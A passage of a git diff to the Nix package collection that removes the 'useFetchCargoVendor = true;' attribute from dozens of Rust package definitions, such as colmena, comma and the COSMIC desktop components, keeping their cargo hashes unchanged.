     hash = "sha256-nOqh8kXS5mx0AM4NvIcwvC0lAZRHsQwrxI0c+9PeroU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lelmkdbqKRjSkJIkF5TWJ6LyCTo2j11hZf9QxIPBoOo=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/co/codesnap/package.nix b/pkgs/by-name/co/codesnap/package.nix
index 7492b19fe251..fd1422621570 100644
--- a/pkgs/by-name/co/codesnap/package.nix
+++ b/pkgs/by-name/co/codesnap/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-EtMEUtLSgYrb0izPPCh432uX2p/8Ykf2caAR+8ZdxhU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-atvSygt1Xi+rPxcJb0zdRBnL6SpSkyCcGxs1z2hWXGA=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/co/codevis/package.nix b/pkgs/by-name/co/codevis/package.nix
index 9e910dfe4ab3..06ac2da90570 100644
--- a/pkgs/by-name/co/codevis/package.nix
+++ b/pkgs/by-name/co/codevis/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LZ6NsoyEPUvgcVdbG7U2Vzuz/TLLraScvW97PocUNpU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BIUzuV7q/5GSAmjRfdL71dWC7TjBVaSL8UyWpTF2AxM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/coinlive/package.nix b/pkgs/by-name/co/coinlive/package.nix
index 26d3d9eb6ba8..2c7924ed8f5f 100644
--- a/pkgs/by-name/co/coinlive/package.nix
+++ b/pkgs/by-name/co/coinlive/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-llw97jjfPsDd4nYi6lb9ug6sApPoD54WlzpJswvdbRs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OswilwabVfoKIeHxo7sxCvgGH5dRfyTmnKED+TcxSV8=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/co/coldsnap/package.nix b/pkgs/by-name/co/coldsnap/package.nix
index f3b48edcbba6..24f24181c15d 100644
--- a/pkgs/by-name/co/coldsnap/package.nix
+++ b/pkgs/by-name/co/coldsnap/package.nix
@@ -16,7 +16,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-tlQ4PDrYnnbsxXRbrIoF08aSy7VP+iXgTKf0A8MITpo=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-Z4UbMdu35m/myiqrFFpvlmVfCD0MlSTQRvs2uhnxBAI=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/co/colmena/package.nix b/pkgs/by-name/co/colmena/package.nix
index b888cf190d47..d805f69b1afd 100644
--- a/pkgs/by-name/co/colmena/package.nix
+++ b/pkgs/by-name/co/colmena/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-01bfuSY4gnshhtqA1EJCw2CMsKkAx+dHS+sEpQ2+EAQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2OLApLD/04etEeTxv03p0cx8O4O51iGiBQTIG/iOIkU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/colo/package.nix b/pkgs/by-name/co/colo/package.nix
index 460e8db873ea..af75839df5e2 100644
--- a/pkgs/by-name/co/colo/package.nix
+++ b/pkgs/by-name/co/colo/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ocGzZR4gM2sInXccbHxh7Vf0kcZTZOnVW0KM6zp/pR8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bAq1sDP/EG9TuUHHWLrp3JtW6S5nWgyyXQbiD63WPGk=";
 
   meta = {
diff --git a/pkgs/by-name/co/colorpanes/package.nix b/pkgs/by-name/co/colorpanes/package.nix
index 395b1973103a..f2b8484b52f6 100644
--- a/pkgs/by-name/co/colorpanes/package.nix
+++ b/pkgs/by-name/co/colorpanes/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "qaOH+LXNDq+utwyI1yzHWNt25AvdAXCTAziGV9ElroU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+ltcTuLksNwe7KIt8apYNZkMoA2w4EObG5dhJliRb6Y=";
 
   postInstall = ''
diff --git a/pkgs/by-name/co/coloursum/package.nix b/pkgs/by-name/co/coloursum/package.nix
index 08bf30cb08ba..db28c7ba61af 100644
--- a/pkgs/by-name/co/coloursum/package.nix
+++ b/pkgs/by-name/co/coloursum/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zA2JhSnlFccSY01WMGsgF4AmrF/3BRUCcSMfoEbEPgA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aZkWzJaEW6/fiCfb+RKNef0eJf/CJW8OU1N2OlHwuJM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/co/comet-gog/package.nix b/pkgs/by-name/co/comet-gog/package.nix
index 49b5e7c4f2dd..d4d02a21167d 100644
--- a/pkgs/by-name/co/comet-gog/package.nix
+++ b/pkgs/by-name/co/comet-gog/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VY9+5QUJYYifLokf69laapCCBRYFo1BOd6kQpxO2wkc=";
 
   # error: linker `aarch64-linux-gnu-gcc` not found
diff --git a/pkgs/by-name/co/comma/package.nix b/pkgs/by-name/co/comma/package.nix
index bd2331ef6d84..1493ec27cee7 100644
--- a/pkgs/by-name/co/comma/package.nix
+++ b/pkgs/by-name/co/comma/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JogC9NIS71GyimpqmX2/dhBX1IucK395iWZVVabZxiE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Cd4WaOG+OkCM4Q1K9qVzMYOjSi9U8W82JypqUN20x9w=";
 
   postPatch = ''
diff --git a/pkgs/by-name/co/commit-formatter/package.nix b/pkgs/by-name/co/commit-formatter/package.nix
index 624ffd71879d..5c39cf82ef0b 100644
--- a/pkgs/by-name/co/commit-formatter/package.nix
+++ b/pkgs/by-name/co/commit-formatter/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "EYzhb9jJ4MzHxIbaTb1MxeXUgoxTwcnq5JdxAv2uNcA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uW+mmArQZ5Pl2TlKIRd00dB6615Nn/Q8KtRE/ahl5V4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/co/commitlint-rs/package.nix b/pkgs/by-name/co/commitlint-rs/package.nix
index dd5bfc29dde7..fd8843eade77 100644
--- a/pkgs/by-name/co/commitlint-rs/package.nix
+++ b/pkgs/by-name/co/commitlint-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9az7AJ4NXmisRZiCFTdHQBVatgEIdRuKU6ZEKVHEgnQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qTJ7/3jIqDXSu6H16YZJqtc/AqMIb4t7SulTtcVbKMI=";
 
   passthru = {
diff --git a/pkgs/by-name/co/commitmsgfmt/package.nix b/pkgs/by-name/co/commitmsgfmt/package.nix
index 45ca63918896..f2bce5e94edb 100644
--- a/pkgs/by-name/co/commitmsgfmt/package.nix
+++ b/pkgs/by-name/co/commitmsgfmt/package.nix
@@ -15,7 +15,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-HEkPnTO1HeJg8gpHFSUTkEVBPWJ0OdfUhNn9iGfaDD4=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-cej+Jpp12QEaru1mecuXtIFDEnSBvTwpx0Vgp8s7jj8=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/co/committed/package.nix b/pkgs/by-name/co/committed/package.nix
index 8cde17a8e4f3..783c27a5f9eb 100644
--- a/pkgs/by-name/co/committed/package.nix
+++ b/pkgs/by-name/co/committed/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-puv64/btSEkxGNhGGkh2A08gI+EIHWjC+s+QQDKj/ZQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fW3TqI26xggUKfzI11YCO8bpotd3aO6pdu1CHhtiShs=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/co/comodoro/package.nix b/pkgs/by-name/co/comodoro/package.nix
index 3b2ce0093d42..77af59aec97a 100644
--- a/pkgs/by-name/co/comodoro/package.nix
+++ b/pkgs/by-name/co/comodoro/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Y9SuxqI8wvoF0+X6CLNDlSFCwlSU8R73NYF/LjACP18=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HzutYDphJdhNJ/jwyA5KVYr6fIutf73rYzKxrzVki9k=";
 
   nativeBuildInputs = lib.optional (installManPages || installShellCompletions) installShellFiles;
diff --git a/pkgs/by-name/co/complgen/package.nix b/pkgs/by-name/co/complgen/package.nix
index 0965a7b60436..55ff6dccf1e1 100644
--- a/pkgs/by-name/co/complgen/package.nix
+++ b/pkgs/by-name/co/complgen/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-spyRH3zzuuGZeQ8iFTa+hc/b4nYSiNIMOEWmc8+jJO0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mLWgMoP1Is2Tm1Ygwn9VR99GjTthAY30IGmKA29nR/w=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/co/comrak/package.nix b/pkgs/by-name/co/comrak/package.nix
index 7dbfa6951bd2..aff88891981e 100644
--- a/pkgs/by-name/co/comrak/package.nix
+++ b/pkgs/by-name/co/comrak/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-hy/kn8hShwzLHvzp3x1eSGipYRSXjOYCMPHEM1xQEr0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MFSyxoNzPzIP2Yi3lCyEcsAx4DvNmk2Jr75oD/tX9iE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/co/conceal/package.nix b/pkgs/by-name/co/conceal/package.nix
index 866eb72c001c..69969bfd1fc2 100644
--- a/pkgs/by-name/co/conceal/package.nix
+++ b/pkgs/by-name/co/conceal/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-kgJcxckXfwnKZ3MyJ+GE1LiQmu9YdfqFrtL9gBJ330E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ym/HnUOLIKfCFWgusx92QeQYaNp9tfrhg5V1h02q3e0=";
 
   env.CONCEAL_GEN_COMPLETIONS = "true";
diff --git a/pkgs/by-name/co/conduwuit/package.nix b/pkgs/by-name/co/conduwuit/package.nix
index 9a2ced086343..e3661b94e53e 100644
--- a/pkgs/by-name/co/conduwuit/package.nix
+++ b/pkgs/by-name/co/conduwuit/package.nix
@@ -38,7 +38,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ut3IWEueNR/hT7NyGfuK5IYtppC6ArSoJdEfFuD/0vE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L0UvJ5ZyEk/hZobkB21u6cfPCeRwhDl+07aWcQEOgYw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/config-store/package.nix b/pkgs/by-name/co/config-store/package.nix
index c6e00d47e954..f1b44e0ea9cf 100644
--- a/pkgs/by-name/co/config-store/package.nix
+++ b/pkgs/by-name/co/config-store/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dmFIB9tVI5/hnI+VKeawFzKi6UJrRis0tpeQE5a5dGU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3KguaKy+4t7txqKEoWhIMvAjtRgVgO7vEGfVlxJp3Ts=";
 
   meta = {
diff --git a/pkgs/by-name/co/conserve/package.nix b/pkgs/by-name/co/conserve/package.nix
index 831fc448615b..f0374f975bcb 100644
--- a/pkgs/by-name/co/conserve/package.nix
+++ b/pkgs/by-name/co/conserve/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rdZTx0wFFtWt3EcpvWHY6m+8TEHEj53vhVpdRp5wbos=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r14ApN9kGWIyeNlbqrb+vOvvmH2n+O5ovvtSVNTMASo=";
 
   checkFlags = [
diff --git a/pkgs/by-name/co/convco/package.nix b/pkgs/by-name/co/convco/package.nix
index 166158157abb..e32f09c99410 100644
--- a/pkgs/by-name/co/convco/package.nix
+++ b/pkgs/by-name/co/convco/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-s0rcSekJLe99oxi6JD8VL1S6nqQTUFTn5pdgxnknbaY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ClkpGHN2me+R3jX7S5hFR1FlsXGhHZ/y6iIGK08Mdfc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cook-cli/package.nix b/pkgs/by-name/co/cook-cli/package.nix
index 5f873a8fdd61..2d4eb70cf3ed 100644
--- a/pkgs/by-name/co/cook-cli/package.nix
+++ b/pkgs/by-name/co/cook-cli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1m2+etJG+33fPTxBF8qT/U9WiZGcSn9r0WlK5PDL6/Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3tWVCP80a6odmi9C0klLbfO5UmdFczyUY8KQSaMIyw4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/coppwr/package.nix b/pkgs/by-name/co/coppwr/package.nix
index c11f14947429..d4d291a88ffb 100644
--- a/pkgs/by-name/co/coppwr/package.nix
+++ b/pkgs/by-name/co/coppwr/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5TgK/0UN05P3WENch4sBo/Sy9FaMmyH/gZ+6qUyM1z0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xF/eBBXlbOfGy9avDkOXT/q72DHJ7Zlu3lfDsTwo+3U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/copycat/package.nix b/pkgs/by-name/co/copycat/package.nix
index f088947528c2..e3dbc959a698 100644
--- a/pkgs/by-name/co/copycat/package.nix
+++ b/pkgs/by-name/co/copycat/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-HLT88ghyT9AwvBTf7NrFkSPqMAh90GrBqZVXN5aaG3w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gjFVvP2h+HJdDdNVtqTT1E1s4ZYXfWuhtMBRJkWRcDw=";
 
   meta = {
diff --git a/pkgs/by-name/co/cosmic-applets/package.nix b/pkgs/by-name/co/cosmic-applets/package.nix
index 415f168dd5b4..bdb93d349e63 100644
--- a/pkgs/by-name/co/cosmic-applets/package.nix
+++ b/pkgs/by-name/co/cosmic-applets/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-DmU9Dlb8w3a8U+oSGwWARPh1SRbv/8TW7TO9SSvDe1U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wWs3B5hh2DP93i+4gGDTi+7NT4bj8ULJ+fT95sXxUdg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-applibrary/package.nix b/pkgs/by-name/co/cosmic-applibrary/package.nix
index a40d47b3f989..f28d8ed3b3c3 100644
--- a/pkgs/by-name/co/cosmic-applibrary/package.nix
+++ b/pkgs/by-name/co/cosmic-applibrary/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-2rGw4Jmr2rL9X1URA5wVPIZocuroS8yaQs42sJqiTbw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+nkXcbAPcIkg+p4ct/E0bm5O0n1MGN43AaWPjw13t9s=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-bg/package.nix b/pkgs/by-name/co/cosmic-bg/package.nix
index 7ac948e176f6..518195809035 100644
--- a/pkgs/by-name/co/cosmic-bg/package.nix
+++ b/pkgs/by-name/co/cosmic-bg/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       "${cosmic-wallpapers}/share/backgrounds/cosmic/orion_nebula_nasa_heic0601a.jpg"
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GLXooTjcGq4MsBNnlpHBBUJGNs5UjKMQJGJuj9UO2wk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-comp/package.nix b/pkgs/by-name/co/cosmic-comp/package.nix
index b9c9f2d7c85b..1011e2cfc43c 100644
--- a/pkgs/by-name/co/cosmic-comp/package.nix
+++ b/pkgs/by-name/co/cosmic-comp/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-2AnGEUWumE1C4Mi5inN7enbxCdWCKbQdYpUvTK3jGQ4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fj6TIBuZ5hrds4WMHRa2krXN5fivKriO2Q/FWdnlGaA=";
 
   separateDebugInfo = true;
diff --git a/pkgs/by-name/co/cosmic-design-demo/package.nix b/pkgs/by-name/co/cosmic-design-demo/package.nix
index 45110579aa37..0e83202135c3 100644
--- a/pkgs/by-name/co/cosmic-design-demo/package.nix
+++ b/pkgs/by-name/co/cosmic-design-demo/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-nWkiaegSjxgyGlpjXE9vzGjiDORaRCSoZJMDv0jtvaA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-czfDtiSEmzmcLfpqv0/8sP8zDAEKh+pkQkGXdd5NskM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-edit/package.nix b/pkgs/by-name/co/cosmic-edit/package.nix
index 35f996a4550b..d38fcae05441 100644
--- a/pkgs/by-name/co/cosmic-edit/package.nix
+++ b/pkgs/by-name/co/cosmic-edit/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-mgUSkYtc+i9pXv0n3zLHwBXFxfeWlhbsFJKa7X+mI98=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qfPLDgGeYGSO0ZKJooXRK0NnTqzJ6zq6RhBpTTUusQY=";
 
   # COSMIC applications now uses vergen for the About page
diff --git a/pkgs/by-name/co/cosmic-ext-calculator/package.nix b/pkgs/by-name/co/cosmic-ext-calculator/package.nix
index e70dc26ff5d5..4bccb86bcffe 100644
--- a/pkgs/by-name/co/cosmic-ext-calculator/package.nix
+++ b/pkgs/by-name/co/cosmic-ext-calculator/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-UO3JKPsztptNEFAxolRui9FxtCsTRgpXhHH242i9b6E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-a4IOmCWKX8RR8xeKS6wdsTlNyTr91B93bYMDx/+/+04=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-ext-ctl/package.nix b/pkgs/by-name/co/cosmic-ext-ctl/package.nix
index da6fcab6e26a..6128c1e3d54a 100644
--- a/pkgs/by-name/co/cosmic-ext-ctl/package.nix
+++ b/pkgs/by-name/co/cosmic-ext-ctl/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-URqNhkC1XrXYxr14K6sT3TLso38eWLMA+WplBdj52Vg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OL1LqOAyIFFCGIp3ySdvEXJ1ECp9DgC/8mfAPo/E7k4=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/co/cosmic-ext-tweaks/package.nix b/pkgs/by-name/co/cosmic-ext-tweaks/package.nix
index f3ece6db260b..c305b6a5e040 100644
--- a/pkgs/by-name/co/cosmic-ext-tweaks/package.nix
+++ b/pkgs/by-name/co/cosmic-ext-tweaks/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SzD2TnPrCKsG3d+t1695GSC+HCqK88wlO42saGAZLS8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LgrjrGusQ5HZJcAPsgV0hUgvcAZr8rlPyE3+z910+pI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-files/package.nix b/pkgs/by-name/co/cosmic-files/package.nix
index e3e3514eed80..47e94278439e 100644
--- a/pkgs/by-name/co/cosmic-files/package.nix
+++ b/pkgs/by-name/co/cosmic-files/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-bI5yTpqU2N6hFwI9wi4b9N5onY5iN+8YDM3bSgdYxjQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7AOdSk9XIXFCDyCus3XgOK3ZBVa4CvX+NFM0jHf7Wbs=";
 
   env = {
diff --git a/pkgs/by-name/co/cosmic-greeter/package.nix b/pkgs/by-name/co/cosmic-greeter/package.nix
index 625bb450b68d..feb5d21dd674 100644
--- a/pkgs/by-name/co/cosmic-greeter/package.nix
+++ b/pkgs/by-name/co/cosmic-greeter/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-o9ZoRHi+k+HCSGfRz1lQFAeJMCqcTQEHf5rf9wn3qqY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hUHkyz/avFu9g1FMdC+4vz6xM75CauurrarhouuVZXc=";
 
   env.VERGEN_GIT_COMMIT_DATE = "2025-04-25";
diff --git a/pkgs/by-name/co/cosmic-idle/package.nix b/pkgs/by-name/co/cosmic-idle/package.nix
index 72525666fb94..3a7fbb6612f4 100644
--- a/pkgs/by-name/co/cosmic-idle/package.nix
+++ b/pkgs/by-name/co/cosmic-idle/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-dRvcow+rZ4sJV6pBxRIw6SCmU3aXP9uVKtFEJ9vozzI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iFR0kFyzawlXrWItzFQbG/tKGd3Snwk/0LYkPzCkJUQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-launcher/package.nix b/pkgs/by-name/co/cosmic-launcher/package.nix
index 82731e20b975..ad97114ee8c8 100644
--- a/pkgs/by-name/co/cosmic-launcher/package.nix
+++ b/pkgs/by-name/co/cosmic-launcher/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-niMsDLVMUEr8VyubDm6RGgS7p22v5nH/F8cASJOszhs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Wh3vI42RBfXpI7mvPVUmGK3fITGi+EGyo+lG7VnZg3w=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-notifications/package.nix b/pkgs/by-name/co/cosmic-notifications/package.nix
index 57103ec5f811..5d1f3cd6131a 100644
--- a/pkgs/by-name/co/cosmic-notifications/package.nix
+++ b/pkgs/by-name/co/cosmic-notifications/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-xcGmcOoxHb7gj6fW7xPZ5R0MTkMVXNJgvr9d5LPy9kw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7EDe1OjGS6Xl0N/BrZG8lzWO0pFbwiEp+kn6WyydJQM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-osd/package.nix b/pkgs/by-name/co/cosmic-osd/package.nix
index a1e9e92961b0..c56e0f4baa19 100644
--- a/pkgs/by-name/co/cosmic-osd/package.nix
+++ b/pkgs/by-name/co/cosmic-osd/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '/usr/share/sounds/freedesktop/stereo/audio-volume-change.oga' '${sound-theme-freedesktop}/share/sounds/freedesktop/stereo/audio-volume-change.oga'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kfExKggQo3MoTXw1JbKWjLu5kwYF0n7DzSQcG6e1+QQ=";
 
   nativeBuildInputs = [ libcosmicAppHook ];
diff --git a/pkgs/by-name/co/cosmic-panel/package.nix b/pkgs/by-name/co/cosmic-panel/package.nix
index cce5a88314c9..21719aa29b8c 100644
--- a/pkgs/by-name/co/cosmic-panel/package.nix
+++ b/pkgs/by-name/co/cosmic-panel/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QcrkfU6HNZ2tWfKsMdcv58HC/PE7b4T14AIep85TWOY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qufOJeWPRjj4GgWNJmQfYaGKeYOQbkTeFzrUSi9QNnQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-player/package.nix b/pkgs/by-name/co/cosmic-player/package.nix
index aef2c1f9a13a..90cc50469e85 100644
--- a/pkgs/by-name/co/cosmic-player/package.nix
+++ b/pkgs/by-name/co/cosmic-player/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-/xf3IOFVpctfgaaNNq2HUzK/qHt7Qikcv0JKoPJboRU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0RrtErTR2J5mn/Lfppk+5X8UUOC2LN65krAq1uz/O4M=";
 
   postPatch = ''
diff --git a/pkgs/by-name/co/cosmic-randr/package.nix b/pkgs/by-name/co/cosmic-randr/package.nix
index bea71c835207..9acaa35d3d3b 100644
--- a/pkgs/by-name/co/cosmic-randr/package.nix
+++ b/pkgs/by-name/co/cosmic-randr/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vCGbWsG/F3WhWVSy8Z3r4ZHpks/X/57/ZZXuw6BFl+c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lW44Y7RhA1l+cCDwqSq9sbhWi+kONJ0zy1fUu8WPYw0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-screenshot/package.nix b/pkgs/by-name/co/cosmic-screenshot/package.nix
index 20eef7825038..6930069fb4d8 100644
--- a/pkgs/by-name/co/cosmic-screenshot/package.nix
+++ b/pkgs/by-name/co/cosmic-screenshot/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-VvU/9vYdoTvy3yzdeXrhKrtS9tUHMKnaSAeNTEKk5PA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1r0Uwcf4kpHCgWqrUYZELsVXGDzbtbmu/WFeX53fBiQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-session/package.nix b/pkgs/by-name/co/cosmic-session/package.nix
index 0f605f183615..62b4b0f0b6ba 100644
--- a/pkgs/by-name/co/cosmic-session/package.nix
+++ b/pkgs/by-name/co/cosmic-session/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vozm4vcXV3RB9Pk6om1UNCfGh80vIVJvSwbzwGDQw3Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-68budhhbt8wPY7sfDqwIs4MWB/NBXsswK6HbC2AnHqE=";
 
   postPatch = ''
diff --git a/pkgs/by-name/co/cosmic-settings-daemon/package.nix b/pkgs/by-name/co/cosmic-settings-daemon/package.nix
index b9b19d3cda14..f04e53bb61cb 100644
--- a/pkgs/by-name/co/cosmic-settings-daemon/package.nix
+++ b/pkgs/by-name/co/cosmic-settings-daemon/package.nix
@@ -32,7 +32,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail '/usr/share/themes/adw-gtk3' '${adw-gtk3}/share/themes/adw-gtk3'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Dzv1SDeZFIa+LFQQ91lO7RBHldsjDnGf+R12Ln2WZwU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/co/cosmic-settings/package.nix b/pkgs/by-name/co/cosmic-settings/package.nix
index 115e85af7ba7..fc56867695ed 100644
--- a/pkgs/by-name/co/cosmic-settings/package.nix
+++ b/pkgs/by-name/co/cosmic-settings/package.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-rrPgCXl4uD4Gvstgj9Sdv6rB/0d8wa56CdBjAkTLQG8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7Aoy/okgFSwDU6jMYzTGtwPbK82yMgL5bnKBfBUD3vA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/cosmic-store/package.nix b/pkgs/by-name/co/cosmic-store/package.nix
index 7b83da52b175..e5d5ad91d816 100644
